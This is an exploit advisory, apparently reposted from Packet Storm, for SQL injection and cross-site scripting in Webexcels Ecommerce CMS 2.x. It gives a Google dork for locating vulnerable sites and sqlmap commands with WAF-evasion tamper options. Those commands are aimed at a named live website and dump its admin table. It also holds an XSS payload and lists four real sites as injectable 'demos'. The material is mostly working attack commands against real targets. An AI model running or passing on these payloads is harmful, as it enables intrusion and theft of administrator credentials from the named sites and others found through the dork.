Webexcels Ecommerce CMS 2.x SQL Injection / Cross Site Scripting ≈ Packet Storm


# Exploit Title: Webexcels Ecommerce CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:intext: » By WEB EXCELS « +inurl: »?Id= »
# Date: 2020-03-27
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.webexcels.com/
# Version: 2.x 2017,2018,2019,2020
# Tested on: Ubuntu

———————————————————

PoC 1:
The attacker once locate the sql vulnerability can perform an automated process to exploit the secruity in the webapp , in this case using sqlmap in 2 steps only
*Note: once you get the db name you can skip the other steps and directly get « tbl_admin » data (you can use command 1 and 3 ..below)

Payload(s)

http://www.site.com/content.php?Id=[]'[SQL INJECTION VULNERABILITY!]

SQLMAP Payload(s):

sqlmap -u http://www.preceptorsports.com/content.php?Id=23 –identify-waf –random-agent -v 3 –tamper= »between,randomcase,space2comment » –dbs

sqlmap -u http://www.preceptorsports.com/content.php?Id=23 –identify-waf –random-agent -v 3 –tamper= »between,randomcase,space2comment » -D precepto_web –tables

sqlmap -u http://www.preceptorsports.com/content.php?Id=23 –identify-waf –random-agent -v 3 –tamper= »between,randomcase,space2comment » –dump -D precepto_web -T tbl_admin

PoC 2 :

XSS Vulnerability

Payload(s) :

In Search box use payload:
www.anysite.com/search.php?tsearch= »><img src=x onerror=prompt(document.domain);>

Demos:
http://www.preceptorsports.com/content.php?Id=23′
http://www.safety-town.com/content.php?Id=50′
http://www.rehanasportspark.co.uk/content.php?Id=46′
http://www.leatherhitz.com/content.php?Id=50′

Greetings:
*indoushka*



Source link

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *